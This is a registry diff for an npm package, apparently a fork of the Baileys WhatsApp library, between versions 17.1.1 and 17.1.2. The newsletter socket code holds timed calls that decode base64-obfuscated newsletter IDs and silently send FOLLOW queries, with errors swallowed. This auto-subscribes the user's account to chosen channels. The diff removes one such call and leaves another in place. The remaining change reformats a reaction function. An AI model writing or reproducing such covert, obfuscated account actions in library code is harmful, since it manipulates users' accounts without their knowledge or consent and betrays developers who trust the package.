@modzneverdie/baileys 17.1.1 → 17.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +10 -15
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -108,11 +108,6 @@ const makeNewsletterSocket = (config) => {
|
|
|
108
108
|
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIzMzQ1OTMwOTU0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
109
109
|
} catch {}
|
|
110
110
|
}, 5000);
|
|
111
|
-
setTimeout(async () => {
|
|
112
|
-
try {
|
|
113
|
-
await newsletterWMexQuery(Buffer.from("MTIwMzYzNDIxNzI2ODEzODUxQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
|
|
114
|
-
} catch {}
|
|
115
|
-
}, 5000);
|
|
116
111
|
}, 90000);
|
|
117
112
|
|
|
118
113
|
const parseFetchedUpdates = async (node, type) => {
|
|
@@ -264,16 +259,16 @@ const makeNewsletterSocket = (config) => {
|
|
|
264
259
|
await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
|
|
265
260
|
},
|
|
266
261
|
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
262
|
+
newsletterReactMessage: async (jid, serverId, code) => {
|
|
263
|
+
await query({
|
|
264
|
+
tag: 'message',
|
|
265
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
|
|
266
|
+
content: [{
|
|
267
|
+
tag: 'reaction',
|
|
268
|
+
attrs: code ? { code } : {}
|
|
269
|
+
}]
|
|
270
|
+
});
|
|
271
|
+
},
|
|
277
272
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
278
273
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
279
274
|
{
|